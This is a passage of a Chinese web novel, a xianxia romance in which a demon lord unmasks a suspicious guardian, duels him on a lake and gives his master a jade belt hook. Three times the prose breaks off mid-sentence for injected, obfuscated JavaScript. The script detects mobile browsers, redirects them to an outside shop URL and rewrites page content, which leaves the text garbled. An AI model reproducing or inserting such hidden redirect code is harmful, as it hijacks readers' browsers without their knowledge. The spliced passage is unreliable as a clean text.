白色的猫,顿时变回人形,只保留着双猫耳,和根尾巴,懒洋洋靠在他怀里熟睡。 单手搂着徒弟腰身,又腾出另一只手掂起徒弟下巴,目光一寸一寸描摹底下人五官,审视半晌:“睡这么乖。” 想欺负。 似又想到这人对自己张牙舞爪,招招都痛下毒手的模样,他食指捏上徒弟的小虎牙,以作惩戒:“小没良心。” 大抵是感知到不适,睡梦中的人轻哼一声要推开他。 灵藕目光沉下,抓住徒弟手腕,又收紧揽着徒弟腰间的手,把人摁回怀里:“想去哪?” 睡梦中的人自然听不懂,下意识挣扎中,尖利的小虎牙划破他指腹,渗出滴血珠。 灵藕倒也不恼,转手抹到徒弟的唇瓣,红艳欲滴。 他静静欣赏片刻。 “真漂亮。” * 陌归尘做了场梦。 梦回浮华派,回到二师姐和十三师兄还在之时。 他与十三师兄结伴溜进方宫殿,十三师兄在偏殿失手打碎个琉璃盏一角。 若是普通的琉璃盏倒还好,偏偏这琉璃盏乃归云真人挚爱,真人离世后,所有遗物均在此。 掌门华云舟与归云真人兄妹情深,多年来相依为命,妹妹陨落后,更是将妹妹抱回的孩子视如己出,若发现妹妹遗物被一个不受待见的宗门弟子弄坏,那弟子所承受的后果可想而知。 是夜,戒律阁刑堂。 陌归尘的小身板跪得挺直。 “吱呀——” 厚重的木门被退开,颀长的身影投进,缓缓将他笼罩。 一阵清风拂面,陌归尘肩背便落下件毛茸茸的小斗篷。 高大的人影从他后背弯下腰,轻轻掂起他下巴:“是哪家小猫又在行侠仗义?” “哼。” 碰了一鼻子灰,师尊也不恼,转手掏出个油淋淋的荷香大鸡腿,放到小徒弟嘴边。 小徒弟别开头:“你怎么知道?” “吃完告诉你。” 小徒弟饥肠辘辘咽着唾沫,张大嘴巴去咬,狼吞虎咽啃完鸡腿:“所以你怎么知道的?” “为师乱说的。” “闻笺!!” “没规矩,叫师尊。” “不叫!哼!” 师尊倒没计较,伸出手指戳戳徒弟气鼓鼓的小腮帮:“义气不是这样讲的。” 小徒弟腰身依旧笔直,抱着手把头撇开,又忍不住似的,瞄过半边眼去瞅自家师尊。 好半晌后才低声嘟囔着:“我知道,你肯定是怪我没量力而行,可我不担下来,掌门师伯会把十三师兄打发走的,他好不容易才考进内门,而且十三师兄走了,二师姐会难过的,我不要二姐姐伤心。” 师尊弯身抱人,宽大的手掌轻揉着小徒弟的膝盖,低叹声:“这么喜欢你二姐姐?” “当然是最最最最最最最最最喜欢闻笺了,喜欢到想偷偷藏起来。” “几个最?” 小徒弟垂首捣鼓手指点数,记不清,索性手掌一摊,道:“反正是第一喜欢。” 师尊摇头:“一天到晚,没个正形。”说着便把小徒弟带走。 小徒弟低问:“不跪了么?” 师尊斩钉截铁:“不跪。” 小徒弟单手捆实师尊脖子勾肩搭背似的:“哇!闻笺你好狂啊!我更喜欢你了。” …… 大抵是潜意识里记挂着闻笺还在天一门超度,陌归尘这一觉并未睡得太沉,很快便醒来。 从灵藕师尊腿上跳下,陌归尘恢复人形,招来婢女:“右护法情况如何?” 婢女恭敬道:“回尊主,护法大人依旧不省人事。” 竟然还未醒? 他炼的丹药出岔子了? 按理是不该的。 略有不解的青年,离开竹屋,转身前往护法殿。 魔界以左为尊,但右护法被陌归尘惯得无法无天,这几年左护法又常年不在魔界,加之二竹弋那人就是个笑面虎,不会当面给人难堪,这主殿便也被右护法霸占了去。 陌归尘路过侧殿。 神识探出这满宫殿都是猫。 种种疑点,便抽丝剥茧般,再次鱼贯涌出。 当年,上任魔尊还在位时,这位左护法便为人低调,极其神秘,常年戴着个鎏金全脸面具,从不以真面目示人,名讳也无人知晓。 他就任以后,多番试探才探出其姓名。 但他从未听闻此人爱猫。 然而他与这人几次会面,竟都换上半副猫儿面具,就连身上的装饰无不乏雪猫。 从前他以为这人老谋深算,如今他觉得此人似乎无心权位,越发捉摸不透。 着实可疑。 侧殿大门敞开。 陌归尘鬼使神差走进去,寒风轻拂,纱帘缥缈浮荡。 他掀开道帘子,好几只猫窝在榻上蒲团小憩,见他进来,只是慵懒伸腰,若无其事换了个姿势,继续阖眼。 帘外刮来阵风,雪白的纸张霎时被风吹落地面,飘到脚边。 陌归尘垂眸瞧去。 是一副书法。 应该是出自二竹弋之手。 他虽从未见过此人提笔书写,但从笔锋中不难看出,这人是个左撇子? 纸张只有寥寥几字—— 【卿卿如晤】 落款则是:二竹弋 陌归尘弯身去捡。 他还是第一次如此直观瞧见“二竹弋”这名字,粗略扫过几眼,便把那副字放回案桌。 刚转身。 又猛地顿住脚步。 他眸光凝滞,猛地瞪大双眼,回眸,将视线顿在案面的雪白纸张。 二竹弋。 拼起来是个“笺”字。 30. 带钩。 30. 护法殿,侧殿。 陌归尘旋即召来侧殿一众魔侍,却久未发话。 众人如临大敌,跪得满头冷汗,却不敢动弹。 毕竟这位素来神出鬼没,行踪飘忽的尊主比上任魔尊还叫人惶恐应付。 终于,座上青年声音凉淡如水开口:“你们在护法殿伺候多久了?” 这话问得莫名其妙,领头的魔侍跪在院中,一时之间也琢磨不出这位主儿的心思,担惊受怕不知如何回答。 “怎么?这问题很难?” 陌归尘垂眼看人,话语也是轻描淡写。 领头魔侍却吓得大惊失色,颤颤伏地叩首:“回尊主,属下二十载,其余人三五七八年的都有。” “呵。”陌归尘冷笑,“二十载,好一个二十载。” 领头之人骇然万分,颤颤巍巍磕头:“尊主饶命!属下愚笨!求尊主指点!求尊主开恩!求尊主从轻发落!” 陌归尘越过众人:“确实愚蠢,二十载,都不知自己效忠的是人是鬼,蠢到无可救药!” 目送扬长而去的尊主,领头魔侍百思不得其解,尊主此言何解??? 他们左护法被策反了? 还是这人本就是双面间谍? * 离开魔界,陌归尘没马不停蹄去寻二竹弋,而是特地绕了趟远路,回到先前那家玉器铺。 他看向记账的中年男子,言简意赅道:“镇店之宝。” 掌柜的闻声抬头,顿时喜上眉梢:“哟!公子,您又回来了?小二,快快快,把咱们的镇店之宝给公子请上来。” 雕琢精致的金丝楠木玉匣被人打开,掌柜的小心翼翼掀开匣内的绒布,顿时露出绒布之下的剔透精美玉饰。 是枚玉带钩。 带钩,通常为凡人系腰带所用。 掌柜的笑吟吟推销:“公子,这枚带钩的来历可不得了,据说是前朝公主为他出征的驸马亲手打造的,历时三年完工。” 他惋惜叹息一声:“本欲待驸马得胜还朝以相赠,可惜,驸马杳无音讯。” “足足十年,无论皇帝如何劝说,公主愣是不肯再嫁,攥着带钩,苦苦守候十年。” “朝廷终于找到驸马尸首,公主至此心死,便带着这枚带钩遁入空门,长伴青灯,身子每况愈下,油尽灯枯,临了前交付主持师太,嘱咐师太赠予有缘人。” “望这枚带钩的有缘人能等到其意中人。” “有情人终成眷属。” 陌归尘笑而不语,只道此漏洞百出的说辞,乃店家抬高带钩身价的手段。 不过这寓意倒深得他心。 陌归尘爽快丢下几袋金子:“包起来。” 掌柜之人哪见过如此大方的贵客,双眼瞪得发直,哆嗦着收起几袋金子:“好嘞,这就给您包起来,也祝令兄早日觅得意中人。” “是我送人。” 掌柜的亲自装好玉带钩:“对呀,公子您可不就是买来送给您家兄长的么?” “兄长?并非兄长,”陌归尘接过包好的带钩塞进袖口,走出铺子,淡笑迈进暮色里。 “是心上人。” * 夜色渐沉,陌归尘不紧不慢来到天一门附近。 湖中,湖心亭。 月色朦胧,静影沉璧,山下寺庙铜钟敲响,袅袅余音缭绕荡来,激起层微弱水波。 刹那,狂风骤起,哗啦啦,亭中四面珠帘哒哒掉地。 四口大敞开,骇人冷风灌进亭子里,猝然而现的红影逆着月光,立在原地。 亭中,石椅。 玄袍金冠男子侧头,挑眉,眸中似藏戏谑,散漫道:“殿下难得来寻我,我受宠若惊呀。” 陌归尘审视亭中人:“你主人是谁?混进魔界意欲何为?” “主人?” 左手执白棋,右手执黑子,正在自弈的二竹弋轻喃一声,如嚼在口中反复回味,“倒是个有趣儿的词。” 他丢下棋子:“我甘为殿下肝脑涂地,自然是殿下最忠诚的狗。” “呵!”陌归尘浅笑,“你也知自己不是人?” “殿下这话真是好生叫人寒心,我那是自谦表忠心,你这可就是骂人。” “我没骂人。” “哦?” “因为你根本不是人。” 话音刚落,青年举起手,手中还握着卷白纸,哗一下,纸卷滑下,露出纸张全面。 雪白的纸张,只有四个字。 【二竹弋-笺】 二竹弋慢条斯理起身,走近陌归尘,若有所思瞅了眼纸中字:“殿下可真是满眼都是闻笺呐,这也能让您拼出来。” 他接过纸张,回到石桌旁,就着空白处,提笔,写画,收笔,举起纸张:“或许,拼起来只是个符号呢?” “你以为我会信?” 二竹弋意味不明淡笑:“信不信,日后自然见分晓。” 陌归尘面无表情祭出佩剑,剑尖直指二竹弋眉心。 铮亮的剑光映进眼眸,咫尺间,二竹弋双指夹住剑尖,抵住那几近要贯穿他眉心的剑:“殿下此举,可就没意思了。” “是人是傀,一探便知。” 二竹弋没回这话,垂下目光,盯着陌归尘手中剑打量几眼:“无双剑又回到殿下手中了?恭喜殿下与仙尊重修旧好。” “你话很密。” “我这不是怕殿下闷得慌嘛。” “反派死于话多。” “呵,反派?”二竹弋失笑,“殿下此言差矣,不久之后,咱们魔界便是三界之主,反派,该是与您屡屡作对的仙门,当然,您师尊除外,他是殿下的人。” “而我,将是殿下最锋利的刀。” “你还挺会给自己脸上贴金。” “殿下谬赞。” “老不要脸。” 二竹弋:“……” 二竹弋:“打个商量,能否劳驾殿下把这个‘老’字去掉?” 陌归尘冷眼沉默。 他抽剑,再次挥砍而出,二竹弋侧身一避,剑芒全数落在旁边的石桌,直将桌子劈断,棋子哗啦啦摔得满地狼藉。 “此地太小,怕殿下施展不开身手。”玄袍男子单脚踩上栏杆,倏地跃向湖面之上。 红影紧追其上。 陌归尘挥手,掌风如刀,蓦然飞出团光球,轰一声,炸起道水花屏障,将险些逃离的人拦截回来。 凌空而现的透明结界,陡然立起,团团围住整片湖,叫人无处可遁。 月色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375717|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,踏空而立的红影,指尖慢条斯理抹过剑刃,气定神闲瞟人:“跑什么?慌了?” 二竹弋被迫退回湖中:“殿下这可就冤枉我了。” “不过是刺穿你眉心,若非心里有鬼,你怕什么?” “刺完就活不成了,我可不想死,自然是还殿下个清静,也好让殿下冷静冷静不是?” 迎着寒风,陌归尘再次抬剑指人,垂眼睨视道:“到底是我冲动,还是你心虚?” “我觉得是殿下鲁莽了。” “我觉得你在矢口抵赖。” “殿下这是欲加之罪何患无辞呀,那我百口莫辩,但愿殿下来日可不要为错杀忠良,而懊悔今日。” …… 月色溶瀛,湖面水光潋滟,红黑两道身影如鬼魅,几番交手,炸开片片水花。 二竹弋身影一晃,凝聚灵罩,抵挡锐利的剑气。 咔嚓—— 暗黑灵罩再次被劈开。 陌归尘手执无双,步步相逼,也后知后觉,自己虽自废剑骨,十年来更是从不在外用剑,如今再次提起无双剑,源于身子的本能,竟也叫他使得分外得心应手。 甚至有种剑骨未废的错觉。 纯白剑芒再次破空斩下。 湖中水花轰然四溅,水珠密密麻麻,晶莹如雨坠,打得湖面碧波荡漾。 二竹弋绣袍挥开水花由衷感叹:“殿下的剑法又精进不少,不愧是天生剑骨,假以时日必定重回巅峰。” 此话刚落,二人不约而同望向某一方向。 有人来了? 陌归尘率先回神,趁人不被之际,他抬起腿,便是一脚踹向二竹弋,毫不留情把人踹回湖心亭。 嘭一声,往日光鲜亮丽的仙盟盟主,摔落被修复好的石桌旁,半趴在地,嘴角还挂着丝鲜血,整个人狼狈不堪。 他手肘撑地,僵涩抬眸,便见陌归尘一袭红衣,翩然落座,十指飞快摆好盘棋。 随后脚尖踢踢他膝盖骨。 “没死就坐好。” “……” 二竹弋哑然,还是吃力爬起,坐到陌归尘对面。 一息功夫后。 湖边的鹅卵石小道拐角处,走出抹雪影,雪影神色匆匆,直奔湖心亭。 亭中,石桌。 陌归尘左手托腮,右手双指捻着黑子,一副犯难不已的模样,沉思着该如何下子。 哗啦一声,珠帘起。 青年闻声抬头,侧眼望着亭外的不速之客,半惊半喜:“呀,师尊怎么来了?我这正和二掌门切磋棋艺呢。” 闻笺淡淡扫视二人,又侧眼望去亭外景致,风平浪静。 陌归尘见人似有怀疑,连忙起身,熟稔挨向闻笺:“师尊看什么?” 忽地被徒弟扯扯衣袖,闻笺收回眼神,淡淡道:“没。” “那师尊快帮我看看这盘棋吧。” 二竹弋无言以对瞥着陌归尘自导自演,这人言语间,眉眼缀着半分无辜,情真意切,不似作假。 那模样,哪还有方才恨不得将人置之死地的狠戾,活脱是个受欺负的小白兔。 可怜兮兮的:“二掌门也不让让弟子,我都输一晚上了。” 刚被暗暗揍完,又被明晃晃扣帽子的二竹弋:“……” 31. 我想要, 31. 亭中,凉风飕飕。 闻笺不动声色抽回袖子,挪开二人距离:“为师方才感应到股强大魔息,怕是魔族来犯。” 手心落空,陌归尘又旁若无人似的,踩着小碎步,悄咪咪挨去闻笺身后:“魔族?” 红影这次没靠太近,只微微侧下身,隔着半公分间距,佯装枕在自家师尊肩背取暖:“有师尊在,哪怕是魔界左护法那老不死的玩意儿来了,也得丧命师尊手下,二掌门你说是吧?” 二竹弋:“……”能说不是吗? 徒弟的小动作自然没能逃过闻笺双眼,他无奈转身,把站没站姿的徒弟扶直,嘱咐:“总之你万事小心。” 陌归尘轻唔一声,含糊带过,生怕闻笺继续魔族话题,连忙指着棋盘转移视线,若有所求喊了声:“师尊。” 闻笺顺着徒弟手指方向瞧去,耳畔又是徒弟小羊咩咩叫似的撒娇,恍惚被人拉回多年前,徒弟总与他耍赖的日子。 那时的小徒弟也跟小羊羔一般,软绵绵扎在他怀里,欢天喜地叫喊“有师尊在,我就永远不会输”。 闻笺淡笑,接过棋子:“嗯,带你赢回来。” 被忽视许久的二竹弋:“……”随后便见闻笺坐到陌归尘原先的位置。 而自家殿下是半点也不恼,转手从旁边搬来个小凳子,就这么紧挨自家师尊坐下。 这幕直把对面的二竹弋震惊得目瞪口呆,我行我素,大杀四方的无极魔尊,竟也有如此乖巧可人,安静温顺的时候。 那种下意识的姿态,是他从未见过的。 他承认。 自己貌似有些嫉妒。 不知多时,二竹弋桌下的小腿挨了结实的一脚,敛神侧头,便见对面红衣青年笑眯眯托腮:“二掌门,到你了。” 这几局下来,二竹弋简直被血虐,佩服得五体投地,闻笺此人,当真样样出挑,冠绝天下。 二竹弋举棋不定,讪笑抹抹虚汗,投子认输:“尊上棋艺精湛,我自愧不如。” 闻笺还没出声,倒是陌归尘率先道:“时辰也不早了,仙盟事务繁忙,二掌门该有政务批阅。” 二竹弋:“……” 得,很显然的逐客令。 怕惹恼这位小祖宗,他温和一笑,语气却藏着不自知的酸:“确实,便不叨扰二位师徒情深了。” 最后几个字被刻意咬重。 若非闻笺还在,陌归尘真的很想当场把这老不死的玩意儿剁了喂猪。 * 亭中,二人也没再逗留。 “送你回房。” “哦。” 陌归尘心不在焉点头,跟闻笺走出湖心亭。 手心紧紧攥着那枚带钩。 终于。 夜色里的红衫青年,朝前方雪影轻喊:“闻笺。” 前方人停下,转身,轮廓笼罩在淡淡的华光下,看不清五官神情,嗓音如常清越,不辨喜怒:“叫师尊。” 陌归尘眉睫无风自颤。 他捏得手心泛薄汗,微微的湿濡镀上玉带钩,又以股暖意反哺而来,叫人一时燥热起来。 久未得答复,对面人似觉好笑,浅声问:“怎么了?” 一只手掌倏然摊在二人间。 陌归尘在心底酝酿过一遍又一遍的腹稿,到嘴边,只化作简单两字:“给你。” 闻笺垂眼看去。 那只干净白皙的掌上,躺着枚精巧玉带钩。 剔透无杂质的玉,被打磨得圆润,月光华辉映照中,流光溢彩,不难看出打造此物什之人的玲珑用心。 闻笺问:“给为师?” 陌归尘轻瞟人:“路上捡的。” 话音刚落。 风中多出道淡笑。 闻笺笑望对方:“这么新?” 陌归尘眯起半条眼缝,意有所指的:“从小捡破烂锻炼出来的能力。” 闻笺噎了声:“……” 小毛团走丢十年,回来后变成小刺球了。 夜里本是有些虫鸣狗吠等杂声,此一刻,竟都不约而同停歇下来。 师徒二人也没说话。 闻笺收好带钩,正欲道谢,目光却忽地凝向某处。 他不假思索拉上还在出神的陌归尘,侧身一拽,单手将徒弟护进怀,指尖弹出灵线。 朝山下石阶树丛一击。 砰—— 树影倒出个人影。 灵线炸开白光,高大黑影旋即砸落地面,呜噎一声,化作云烟消散。 被一招毙命。 陌归尘闻声看去:“死了?” 闻笺颔首:“死了。” 闻笺又补充道:“是魔将,实力不容小觑。” 陌归尘扯起抹僵硬的笑,他当然知道,那就是他派出去的魔将,估计是回来复命。 闻笺:“魔将只效忠魔尊,怕是那人也在附近。” 陌归尘:“……” 那可不,近得很,近到你怀里,零距离呢。 刚腹诽完,闻笺已松开臂膀,后退一步,凭空画下枚符咒打进他手:“若魔尊犯你,捏碎符咒,为师即刻现身。” 陌归尘:“……” 我应该不会自己抽自己。 陌归尘顿在原地,转头望向树丛,脑海又是师尊手起刀落的干脆模样,真是足以预想自己日后怕也会这般死在师尊剑下。 他微有正色问:“当年那一剑,你真的被重创了?可你明明说过的,你不会受伤。” “事已至此,不必再提。” “哦。” 两人隔着两步距离。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375718|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >月色幽幽,叶影幢幢,落下片斑驳的光,师徒二人目光在晦暗中轻碰交织了一下。 微妙极了。 陌归尘率先错开视线。 闻笺点点徒弟脑门:“倒是你,受了委屈也不与为师说,浑身都是刺。” 陌归尘哑然,确实如此,浑身是刺,一不小心扎伤旁人,可那个人还是一次又一次向他伸手,用鲜血淋漓的掌,不厌其烦温抚着他。 这就是闻笺。 夜风再度落下嗓音:“只字不提,为师想帮你都无从下手。” 陌归尘斜觑闻笺,低囔了声:“我自己的事情,我自己解决。” “你有这想法固然是好的,可为师的存在,不止适时放手,也是触手可及的依靠。” 陌归尘瞅人:“你以为还是小时候呀,打架还带师父,多丢人现眼,害我被山下的小妖用打油诗取笑三年。” 他斜斜瞪了一眼闻笺:“都怪你。” 佯装责怪,其实是推托帮忙的说辞,不想闻笺插手,不过是怕牵扯出他的魔尊身份罢了。 这些日子的温存真的过分美好,就当是临死前的一场美梦吧。 终归,他欠闻笺一剑。 伏魔大战,还回去便是了。 明明想走,却总是走不成。 太多事情接踵而来,像是在强行搭线,要给他这最后一段岁月少留遗憾。 陌归尘不得不感慨万千,自己和闻笺当真有缘。 奈何是……孽缘。 望着魔将尸首消散之处,陌归尘思绪微乱。 魔界十二魔将个个实力顶尖,但也各有所长,此番排出去的便是擅侦查的,结果回来复命的功夫被闻笺一招解决,想要继续追获那人到底是谁,目前怕是得去仙门集训碰碰运气。 他跟着闻笺离开,问:“过些时日,仙门弟子们是不是都要到浮华派进行集训?由师尊亲自督教?” “嗯。” “那弟子也能去么?” “你、”闻笺停顿一下,似乎没料到此,还是答道,“只要你愿意回来,浮华派山门永远敞开。” “你当年为何——”陌归尘快步迈到闻笺身侧,“为何执意要我出师?” 闻笺侧头看着与他并肩的徒弟,到底没训斥什么,只淡淡回:“徒弟大了,总归要离开师父的,师父没有绑着徒弟的理儿,况且你不是总想名扬天下?” “是么?” 陌归尘半诱导半试探说:“可名扬天下的尽头,只有我一人,并非我所求。” 空气倏然静默。 闻笺没接话。 陌归尘也不介意,继续一丝不苟盯紧闻笺,企图在那张寡淡的脸上寻出蛛丝马迹来,他口吻委婉,不乏暗示,一字一句道—— “我想要,我的来路,亦是我的归途。” 32. 闻笺撑起纸伞, 32. 模棱两可的话散在幽径尽头。 此后,便是场无声对峙。 陌归尘想要在闻笺脸上找出不同寻常的细微变化,不是身为仙尊的清冷漠然,也不是来自师父的无奈纵容。 自欺欺人似的,陌归尘跳出师徒身份的束缚,又旁敲侧击轻喊着:“闻笺。” 可这次的闻笺,比任何时候都游刃有余。 那张云淡风轻的脸,久久未露出任何失控的痕迹。 久到风霜俱灭。 久到连带他心底窝着的那簇小火苗,也在这场缄默里,扑灭得干干净净。 月色下的相顾无言,有一瞬的错觉,陌归尘在闻笺那双波澜不惊的眸里,读出了一个心照不宣的答案。 他的师尊,其实从头到尾都心知肚明。 却在装作不知道。 许是在给他一个体面吧。 往事如浮云,渐渐掠过眼前,最后停在书房那幅书法,他就说闻笺怎会无缘无故写这话,还挂在书房最醒眼的地方。 原是写给他这个逆徒看的。 【天地君亲师】 好一个天地君亲师。 陌归尘自嘲安慰,毕竟单相思师尊这种悖德逆伦的龌龊腌臜事一旦被捅上台面,那他们,也彻底做不成师徒。 他还会受千夫所指。 这个人,一直在为他着想。 天底下怎会有这般好的师父,被徒弟觊觎多年,换作旁人该是恶心透顶,恨不能凌迟,独独闻笺仁慈至此。 既未明晃晃拆穿徒弟叫人难堪,也从未以权谋私满足自己的欲望,更没利用徒弟的爱慕误其入歧途。 反倒是屡屡思忖如何提点保全自己的徒弟。 真的不怪他把主意打到师父身上。 实在是,闻笺值得。 可他偏偏拿救赎画地为牢,作茧自缚多年。 陌归尘垂首,脸庞隐在暗影下,神情看不真切。 寂静过后,山上落叶簌簌作响,头顶也降下话音:“夜里风大,早些歇吧。” 随闻笺的话一同落下的,还有件雪绒披风。 暖融融笼罩在他肩背。 陌归尘魂游天外许久,不知自己是怎么回去的。 吱呀—— 厢房被人打开。 闻笺望来,神情如常,就像先前那幕压根没发生过,浅声与他说着话:“若还想参加仙门集训,明日辰时,随为师一起回浮华派。” 那人刚转身,又顿顿,朝他伸手,轻搭上他肩膀,目光深长,缓声道:“少胡思乱想,你永远是为师的好徒弟,歇吧。” 闻笺收手时,尾指无意勾到他肩侧的银发。 陌归尘讷讷侧下眸。 听着闻笺耐人寻味的话“你永远是为师的好徒弟”,总觉得这根尾指勾起的,不是他的发丝。 而是勾进他灵魂深处,把那不该滋长的情丝,也挑断得一干二净。 * 待人走后,陌归尘带上房门后,并没歇下,转手解下披风,整整齐齐叠好,方来到另一面墙,翻窗离开。 寒鸦鸣啼,阴风戚戚,整座松山冷清萧条。 远处还有值守弟子提灯巡逻,烛光晃悠悠绕在其中,更显诡异凄凉。 陌归尘眼眸轻眯。 他蹲下身子,拨开层黄土,捻起黄土下的灰土,细细观察几眼,又往下挖,灰土之下仍是灰土,未发现任何端倪,心中不安却仍旧难消。 尤其是今日那只恶灵彻底灭门前似是而非的笑,与天一门掌门的死状,属实离奇骇人。 且这人所跪方向还是魔宫…… 到底是巧合? 还是人为? 若是人为,幕后之人此举又为哪般?趁着仙门征伐魔界前夕,趁机嫁祸于他? 这样一想,倒也算有些头绪,毕竟魔界十年,哪怕从不主动惹事,也被迫结怨不少。 陌归尘无所谓拍拍手,继续行往另一处院落。 院中人似料到他会来。 正慢悠悠沏茶。 满庭袅袅清香,随风扑鼻,那人边斟茶边道:“殿下来得巧,我这盏茶刚刚烹好,用的无根之水,很是回甘。” 在尸山烹茶,如此闲情雅致,也不知该赞叹此人沉稳持重,还是痛斥其漠视人命。 瞥着面不改色的二竹弋,陌归尘神情淡淡,开门见山:“我不杀你,也不管你有何目的,你若想要魔尊之位,我拱手相让便是,但我有两个条件作交易。” 闻言,对面人搁下茶壶,说着滴水不漏的话:“殿下有何要求,尽管吩咐便是,莫用禅位周旋套话,你这让我很是惶恐。” 这人素来心思缜密,陌归尘懒得纠结二竹弋冠冕堂皇的措辞,继而道:“右护法只是个废物,他威胁不了你,你入主魔宫后,给他一条活路。” 二竹弋大为不解:“什么入主魔宫,我听不懂。” 陌归尘仍是自顾自说话:“如果可以,请每年中秋,去苍云州,京华山,替我给一位林姓姑娘上一炷香。” “她喜欢火鹤花,摘一截就好,再放一颗粽子糖,那是她家乡特产。” 二竹弋聆听完这交代身后事的话,有些好笑道:“殿下越说,我越糊涂了,伏魔大战,我们魔界可是胜券在握,仙门根本不足为惧,跳梁小丑罢了。” “你照做便是。” 陌归尘也没多作解释,只朝人抛过一个玉印:“魔玺的禁制,会在伏魔大战后自动解除。” 刚要走,又狐疑一顿,视线停在二竹弋绒毛领子。 虽有领子遮挡,但陌归尘还是敏锐捕捉到不对劲儿:“你受伤了?” 并且伤得不轻,是才添上的,绝非出自他手。 破有点惩戒意味。 放眼整个仙门,能伤二竹弋的,除了闻笺,陌归尘想不出第二人,而闻笺方才一直与自己待在一起,自然无瑕分.身来伤人。 这厮背后,果然有人。 似没料到他会问这种话,对方微讶挑眉,唇瓣漾出点笑:“殿下是在关心我么?” 陌归尘正欲递丹药的手一滞,转而砸了过去。 …… 半个时辰后。 山脚。 夜风猎猎,青年一身红衫,衣袂飘摇,手中还拿着半截树枝在灰土地面涂涂画画。 他凝视地面图案。 “喂!小鬼头!一起下山玩呀!” 耳畔忽而传来女声。 陌归尘目光凝滞,恍惚抬眸,那瞬间似还能看到多年前的落霞峰书斋外的高墙,二师姐手肘撑在墙顶,探出颗脑袋,眉眼狡黠,偷偷给他纸鹤传音。 纸鹤飞到一半。 被师尊截下。 师尊站在他与二师姐中间,双指夹着扑棱翅膀,使力挣扎却无果的纸鹤。 陌归尘:“……” 林岁愉:“……” 被当场抓包,陌归尘竖起书册,低低垂下脑袋,小鸵鸟似的,把头埋进书里。 另一边,墙头上的脑袋也慢悠悠缩回去,便听自家师叔淡淡道:“戌时回。” 空气静默一下。 两颗脑袋同时笋尖儿般冒起。 “好耶!师尊万岁!爱你!” “好耶!师叔万岁!敬你!” 小小的身影倏地腾起,欢天喜地跑出去找师姐。 刚跑出竹屋门口,便瞧到树下还倚着个抱手少年,少年见他出来,冷嗤一声别开头。 陌归尘也不甘示弱:“切!” 夹在中间的姑娘,好声好气劝说:“哎呀,两师兄弟,哪有隔夜仇的!走走走!二师姐带你们下山逛庙会去!” 随后,左手搭着他肩膀,右手勾上十三师兄脖子。 那会子,十三师兄与他不和,大抵是看不惯他的性情吧,总之两人时常斗嘴,而二师姐则时常撮合他们修好。 陌归尘退出回忆。 目光定在脚边,这图案,便是那日庙会,三人在一个糖画小摊,你一笔我一画,胡乱凑在一起画下的。 彼时,二师姐左手揉着他脑袋,右手轻拍十三师兄背部:“好啦!我宣布,这图案就是咱们浮华三结义的见证,此后呀,咱们三师姐弟都要和和睦睦的,知道没?” 他和十三师兄对视,从二师姐手里接过一模一样的糖画。 均是一声冷嗤。 却也都没反驳什么。 …… “陌兄陌兄。” 万籁俱静的山脚下,幽径拐角,跑出几个身影,正是黄金黄银兄妹,还有轻衣姑娘。 陌归尘循声望去,那几人见他在此也是惊喜,愕然问:“你怎么夜半三更还在此?” “莫非你也在好奇冥诞?” “冥诞?” 陌归尘话刚出口,已被热情的几人半推半拉拽起身,那种似曾相识的感觉,叫人梦回当年二师姐与十三师兄总没事带他四处鬼混的岁月。 他没抗拒,任人拥着离开。 轻衣点头:“是呀!过了今夜便是凡间冥诞,大撞阴阳路,子时将至,阴阳交互,鬼门关大开,说不定还能遇见鬼嫁呢。” 冥诞? 陌归尘轻喃一声。 若有所思回眸,盯着身后的山头,问:“你们今日也参与超度了?” 黄银:“怎么?有何不妥?” 陌归尘:“顺利么?” 黄金:“挺顺利的呀。” 几人结伴入了镇子。 镇中无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375719|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宵禁,大抵冥诞前夕,临街房屋皆门窗禁闭,巷上更是空无一人。 寒风萧瑟,雾气湿重。 青石街砖上,几人却难得雀跃,四处张望:“陌师兄你最厉害,可瞧见阴阳路开了没?” 陌归尘摇头:“没。” 他道:“前方有个交叉十字路,那处阴气重,多为剪刀煞,聚冤魂,你们去那里,许是更容易撞见鬼嫁。” “是么?” 几人一窝蜂拥着陌归尘走过去:“走走走!” 陌归尘皱眉,终是沉默,纵着几人拉他一起胡闹。 半盏茶后。 黄金:“见鬼嫁没?” 陌归尘:“没。” 一刻钟后。 黄银:“鬼嫁没?” 陌归尘:“没。” 一炷香后。 轻衣:“嫁没?” 陌归尘:“没。” 半个时辰。 三人异口同声:“没?” 陌归尘:“没。” 一个时辰后。 三人眼神瞥来:“?” 陌归尘摇头:“。” 几人哈欠连连,互相挨得神情恹恹,终是倦怠一阖眼,混杂着几个空酒壶倒得七零八落。 陌归尘:“……” 他起身,正欲带走几人,抬头,却见几人后方路□□叉处的破烂旧戏台上,端坐着一个挺拔孤独的影子。 